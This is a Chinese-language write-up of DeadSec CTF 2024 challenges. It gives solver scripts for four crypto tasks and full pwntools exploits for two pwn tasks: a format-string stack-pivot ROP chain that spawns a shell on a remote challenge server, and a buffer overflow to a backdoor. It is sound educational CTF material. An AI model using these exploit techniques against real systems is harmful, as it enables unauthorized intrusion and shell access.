[DeadSec CTF 2024]

Crypto

PassGuesser

from collections import Counter
from Crypto.Util.number import *
from Crypto.Cipher import AES
import hashlib
from Crypto.Util.Padding import pad
import math

flag = b'<REDACTED>'
P = 13**37
password = b'<REDACTED>'
pl = list(password)
pl = sorted(pl)
assert math.prod(pl) % P == sum(pl) % P
password2 = bytes(pl)

print(f"counts = {[cnt for _, cnt in Counter(password2).items()]}")
cipher = AES.new(hashlib.sha256(password2).digest(), AES.MODE_CBC)
print(f"c = {cipher.encrypt(pad(flag, 16))}")
print(f"iv = {cipher.iv}")


'''
#排序后,字符出现的次数
counts = [5, 4, 7, 5, 5, 8, 9, 4, 5, 7, 4, 4, 7, 5, 7, 8, 4, 2, 5, 5, 4, 3, 10, 4, 5, 7, 4, 4, 4, 6, 5, 12, 5, 5, 5, 8, 7, 9, 2, 3, 2, 5, 8, 6, 4, 4, 7, 2, 4, 5, 7, 9, 4, 9, 7, 4, 7, 8, 4, 2, 4, 4, 4, 4, 3, 3, 7, 4, 6, 9, 4, 4, 4, 6, 7, 4, 4, 4, 1, 3, 5, 8, 4, 9, 11, 7, 4, 2, 4]
c = b'q[\n\x05\xad\x99\x94\xfb\xc1W9\xcb`\x96\xb9|CA\xb8\xb5\xe0v\x93\xff\x85\xaa\xa7\x86\xeas#c'
iv = b'+\xd5}\xd8\xa7K\x88j\xb5\xf7\x8b\x95)n53'
'''

题目把password排序后,只给了一个提示:

a_o^{k_0} * a_1^{k_1}... \equiv \sum a_i mod \, P

这个题感觉有点脑筯急转弯的意思,如果password是bytes的话,那每个字符可以是0-255,那么总空间就是C_{256}^{89} 这个数太大了,但实际上有些数可能会不应该存在,比如0会导致左边为0而右边显然很小不会被模掉不为0,另外这个域定的是13^{37}似乎是提示不存在含因子13的数,如果13够多就会模后为0

所以这里猜:

1,字符集是可打印字符([0x20,0x7e]不正确)

2,不会出带因子13的数

那么这个空间就成了C_{92}^{89}这个数很小只有17位

from Crypto.Cipher import AES
import hashlib
from tqdm import tqdm
import string
import itertools 
import math

P = 13**37
pls = sorted([i for i in string.printable.encode() if i%13 != 0]) #printable \n\t\r..是未排序的
for pl in tqdm(itertools.combinations(pls, len(counts)), total = math.comb(len(pls),len(counts))):
    password2 = []
    for i,v in zip(counts, pl):
        password2 +=[v]*i
    if math.prod(password2)%P == sum(password2):
        cipher = AES.new(hashlib.sha256(bytes(password2)).digest(), AES.MODE_CBC, iv)
        flag = cipher.decrypt(c)
        print(flag)
        break

#DEAD{y0u_Gu3ssEd_mY_p4s5w0rD}

这个题还有个升级版,给的不是排序后的频数而是排序前的,这个就比较麻烦了,这么的排序是不可能的。估计又是万能的格了。

FlagKiller

#!/usr/bin/python3

from binascii import hexlify

flag = hexlify(b'DEAD{test}').decode()

index = 0
output = ''

def FLAG_KILLER(value):
    index = 0
    temp = []
    output = 0
    while value > 0:
        temp.append(2 - (value % 4) if value % 2 != 0 else 0)
        value = (value - temp[index])/2
        index += 1
    temp = temp[::-1]
    for index in range(len(temp)):
        output += temp[index] * 3 ** (len(temp) - index - 1)
    return output


while index < len(flag):
    output += '%05x' % int(FLAG_KILLER(int(flag[index:index+3],16)))
    index += 3

print(output)
#0e98b103240e99c71e320dd330dd430de2629ce326a4a2b6b90cd201030926a090cfc5269f904f740cd1001c290cd10002900cd100ee59269a8269a026a4a2d05a269a82aa850d03a2b6b900883

这个就比较简单了,把flag变16进制后每3个16进制字符一组,加密变成5个16进制字符,只需要弄个字典0x1000也不算大。然后一查,不过最后一个由于不够3个需要处理一下。

dic=[hex(int(FLAG_KILLER(v)))[2:].zfill(5) for v in range(0xfff)]

flag = ''
for i in range(0,len(enc),5):
    flag += hex(dic.index(enc[i:i+5]))[2:].zfill(3)

bytes.fromhex(flag[:-3]+flag[-2:])
#DEAD{263f871e880e9dc7d2401000304fc60e98c7c588}

Raul Rosas

from Crypto.Util.number import * 
from sympy import nextprime

p1 = bin(getPrime(1024))[2:]
p2 = p1[:605]
p2 = p2 + ('0'*(len(p1)-len(p2)))

p1 = int(p1,2)
p2 = nextprime(int(p2,2))

q1 = getPrime(300)
q2 = getPrime(300)

n1 = p1*p1*q1 
n2 = p2*p2*q2 

e = 65537 
flag = bytes_to_long(b'REDACTED')
c1 = pow(flag,e,n1)
c2 = pow(flag,e,n2)

print(f'{n1=}')
print(f'{n2=}')
print(f'{c1=}')
print(f'{c2=}')


"""
n1=33914684861748025775039281034732118800210172226202865626649257734640860626122496857824722482435571212266837521062975265470108636677204118801674455876175256919094583111702086440374440069720564836535455468886946320281180036997133848753476194808776154286740338853149382219104098930424628379244203425638143586895732678175237573473771798480275214400819978317207532566320561087373402673942574292313462136068626729114505686759701305592972367260477978324301469299251420212283758756993372112866755859599750559165005003201133841030574381795101573167606659158769490361449603797836102692182242091338045317594471059984757228202609971840405638858696334676026230362235521239830379389872765912383844262135900613776738814453
n2=45676791074605066998943099103364315794006332282441283064976666268034083630735700946472676852534025506807314001461603559827433723291528233236210007601454376876234611894686433890588598497194981540553814858726066215204034517808726230108550384400665772370055344973309767254730566845236167460471232855535131280959838577294392570538301153645042892860893604629926657287846345355440026453883519493151299226289819375073507978835796436834205595029397133882344120359631326071197504087811348353107585352525436957117561997040934067881585416375733220284897170841715716721313708208669285280362958902914780961119036511592607473063247721427765849962400322051875888323638189434117452309193654141881914639294164650898861297303
c1=5901547799381070840359392038174495588170513247847714273595411167296183629412915012222227027356430642556122066895371444948863326101566394976530551223412292667644441453331065752759544619792554573114517925105448879969399346787436142706971884168511458472259984991259195488997495087540800463362289424481986635322685691583804462882482621269852340750338483349943910768394808039522826196641550659069967791745064008046300108627004744686494254057929843770761235779923141642086541365488201157760211440185514437408144860842733403640608261720306139244013974182714767738134497204545868435961883422098094282377180143072849852529146164709312766146939608395412424617384059645917698095750364523710239164016515753752257367489
c2=3390569979784056878736266202871557824004856366694719533085092616630555208111973443587439052592998102055488632207160968490605754861061546019836966349190018267098889823086718042220586285728994179393183870155266933282043334755304139243271973119125463775794806745935480171168951943663617953860813929121178431737477240925668994665543833309966378218572247768170043609879504955562993281112055931542971553613629203301798161781786253559679002805820092716314906043601765180455118897800232982799905604384587625502913096329061269176369601390578862509347479694697409545495592160695530037113884443071693090949908858172105089597051790694863761129626857737468493438459158669342430468741236573321658187309329276080990875017
"""

两个n,并且两个n的p相近,那么(p1*p1*q1)/(p2*p2*q2)大概与q1/q2相近。所有试着用连分式法求分解。结果马上出结果。

e = 65537

from ContinuedFractions import *
frac = rational_to_contfrac(n1, n2)
convergents = convergents_from_contfrac(frac)  #连分数展开
for q1,q2 in convergents:
 try:
  if n1 % q1 == 0 or n2 % q2 == 0:
   print(q1,q2)
   break
 except:
  pass

q1,q2 = 1226422900699937313306345486827490610540478397988332672940596868693721441368094739238893997,1651764208712002362909070586532659043033781575172011989418709627827265240039573208353001543

p1 = iroot(n1//q1,2)[0]
d1 = invert(e, p1*(p1-1)*(q1-1))
m1 = pow(c1,d1,n1)

SSP

MAX_N = 100
RAND_MAX = 10 ** 200 # You can't even solve with knapsack method

from random import randrange

for n in range(1, MAX_N + 1):

    print(f"Stage {n}")

    arr = [ randrange(0, RAND_MAX) for _ in range(n) ]
    counts = randrange(0, n + 1)
    
    used = set()
    
    while True:

        idx = randrange(0, n)
        used.add(idx)

        if len(used) >= counts:
            break
    
    s = 0
    for idx in used:
        s += arr[idx]
    
    for a in arr:
        print(a, end=' ')
    print(s)

    answer = list(map(int, input().split()))

    user_sum = 0
    for i in answer:
        user_sum += arr[i]
    
    if user_sum != s:
        print("You are wrong!")
        exit(0)

    print(f"Stage {n} Clear")

print("Long time waiting... Here's your flag.")

with open('./flag', 'r') as f:
    print(f.read())

这是个有远程的题,n每轮分加1,每轮生成n个随机数,再随机生成哪个随机数可用,将可用的数的和返回,要求返回使用的数的索引。

一个简单的01背包问题,虽然100的规模可以用背包算法求解,但还是直接用格比较方便。

from pwn import remote,context as ctx
from sage.all import * 

ctx.log_level = 'debug'

MAX_N = 100

def getv(arr):
    M = arr[:-1]
    S = arr[-1]
    n = len(M)
    L = matrix(ZZ,n+1,n+1)
    
    for i, x in enumerate(M):
        L[i, i] = 1
        L[i, -1] = x
    
    L[-1, :] = 1
    L[-1, -1] = -S
    res = L.LLL()
    print(res)
    for k in res:
        if k[-1] !=0 : continue 
        if not all(i in [1,2] for i in k[:-1]): continue 
        r = [i-1 for i in k[:-1]]
        return ' '.join([str(i) for i,v in enumerate(k[:-1]) if v==2])

def getu(n):
    print(p.recvline())
    return [int(i) for i in p.recvline().strip().split()]

p = remote('34.134.13.99', 32527)
for n in range(1, MAX_N + 1):
    arr = getu(n)
    msg = getv(arr)
    p.sendline(msg.encode())
    p.recvline()

p.recvline() 
p.interactive()
#DEAD{T00_B1g_Number_Causes_Pr0blem...}

PWN

User_management

程序比较长,有5个菜单项:

1,管理员登录,登录后状态变为-1,登录要校验用户名和密码,用户名是MrAlphaQ密码是生成的8字节随机数,这里用的是strcmp比较,这个比较有个漏洞,就是仅比较到\0为止,所以这里可以作个爆破有1/256的概率成功。

2,建普通用户,需要管理员状态才能建,并可输入305字节的描述

3,普通用记登录,这里如果管理员登录状态需要先登出

4,是登出

5,show 显示用户信息,这里有个printf漏洞。但要求是普通用户登录。

虽然很长,但还是很容易整理出个流程:

管理员登录1 --> 建用记输入图式化串 -->管理员登出-->普通用户登录-->show格式化串执行

-->重复上面部分,登出后再用管理登录建用户执行show

第1次show露地址;

第2次写rbp和ret形成向前的移栈执行尾部的ROP,这样printf只需要处理2-3个字符,本地不开ASLR恰好rbp尾是50需要向前再写1个字节,远程是78只写rbp1字节和ret1字节。

由于远程比较慢,所以两次爆破很难成功,不知道还有没有别的方法。不过如果不是远程慢的话,两个平均只有128次的爆破也不算啥,爆破半个多小时也算是成功了,不知道还有没有更好的办法。

另外一个难点是禁用的$这样就不能直接指定偏移值,而需要用填充%xx来计算偏移,处理起来有些麻烦。

from pwn import *

context(arch='amd64', log_level='debug')
elf = ELF('user_management')
libc = ELF('libc.so.6')

'''
def login_adm(): #5010=-1
    while True:
        p.sendlineafter(b"Enter choice: ", b'1')
        p.sendlineafter(b"what do you want to do here?", b"manage users")
        p.sendlineafter(b"Enter username: ", b'MrAlphaQ')
        p.sendlineafter(b"Enter password: ", b'\x00')
        if b"Logged in as admin" in p.recvline():
            print("OK")
            return

'''
def login_adm(): #5010=-1
    while True:
        p.sendline(b"1\nmanage users\nMrAlphaQ\n\x00")
        if b"Logged in as admin" in p.recvuntil(b"\x1B[0m"):
            print("OK")
            return

def add_user(i,msg):
    p.sendline(b"2\n"+i+b"\n"+i+b"\n"+msg)

def login_usr(i):
    p.sendline(b"3\n"+i+b"\n"+i)

def logout():
    p.sendline(b'4')  #5010 = -2

def show():
    p.sendline(b'5')
    p.recvuntil(b" is: ")
    return p.recvline()

while True:
  try:
    print('Try.')
    p = remote('34.134.200.24', 30673)
    
    p.recvuntil(b"Enter choice: ")

    login_adm()
    add_user(b'1\0', b"%p,"*53)
    logout()
    login_usr(b'1\0')
    msg = show().split(b',')
    stack = int(msg[45],16) - 0x18
    elf.address = int(msg[46],16) - 0x1037
    libc.address = int(msg[50],16) - 0x29d90
    print(f"{stack = :x} {elf.address = :x} {libc.address = :x}")

    pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
    rop_base = stack - 0x38 -8
    #47 = leave_ret #46->rop_base-8
    k0 = 10
    k1 = rop_base&0xff
    k2 = (rop_base>>8)&0xff
    k3 = 0xc6
    pay = '%c'*k0 + f'%{(k1-k0)&0xff}c%hhn%{(k2-k1)&0xff}c%hhn%{(k3-k2)&0xff}c%hhn'
    pay = pay.encode().ljust(48,b'\x00') + flat(stack-8,0,stack-7,0,stack)
    pay = pay.ljust(0x110, b'\x00') + flat(pop_rdi,next(libc.search(b'/bin/sh\0')), libc.sym['system'])

    login_adm()
    add_user(b'2\0',pay)
    logout()
    login_usr(b'2\0')
    show() #
    context.log_level='debug'
    p.sendline(b'ls')
    p.sendline(b'cat flag.txt')
    p.interactive()
    break
  except KeyboardInterrupt:
    break
  except:
    continue

#DEAD{Y0u_4rE_7h3_M4S73R_0F_Th3_57Ack}
'''
0x00007fffffffde28│+0x0138: 0x793b0ee621aa0a00
0x00007fffffffde30│+0x0140: 0x00007fffffffde50  →  0x0000000000000001    ← $rbp  #46
0x00007fffffffde38│+0x0148: 0x0000555555556037  →   jmp 0x5555555560b3           #47
0x00007fffffffde40│+0x0150: 0x0000000000000000
0x00007fffffffde48│+0x0158: 0x0000000500000000
0x00007fffffffde50│+0x0160: 0x0000000000000001
0x00007fffffffde58│+0x0168: 0x00007ffff7c29d90  →   mov edi, eax                 #51
'''

Super CPP Calculator

突然最后这题就这么简单了,有3个菜单项:

1,是浮点型运算,输入两个数,第1个是1 两数相除放到this[6],当第2个数比较小里结果就会比较大,菜单3 read(0,buf,this[6])就会溢出。

2,是整型运算,两数相加放到this[6]但两数字都为正且小于10没问题

3,执行个read(0,buf,this[6])可以溢出,然后还给了后门。不过这里有个随机这个数不能太大,所以执行菜单1时需要小计算一下。用1/0x410就够

from pwn import *

context(arch='amd64', log_level='debug')

#p = process('./test')
#gdb.attach(p,"b*0x4018dc\nc")
HOST = "super_cpp_calculator.chal.ctf.ae"
p = remote('34.42.177.219', 30336)

p.sendlineafter(b"> ", b'1')
p.sendlineafter(b"> ", b'1.0')
p.sendlineafter(b"> ", b'0.00096')

p.sendlineafter(b"> ", b'1337')
p.sendlineafter(b"Create note\n>", b'a'*0x408+p64(0x401745))

p.interactive()

  • 10
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值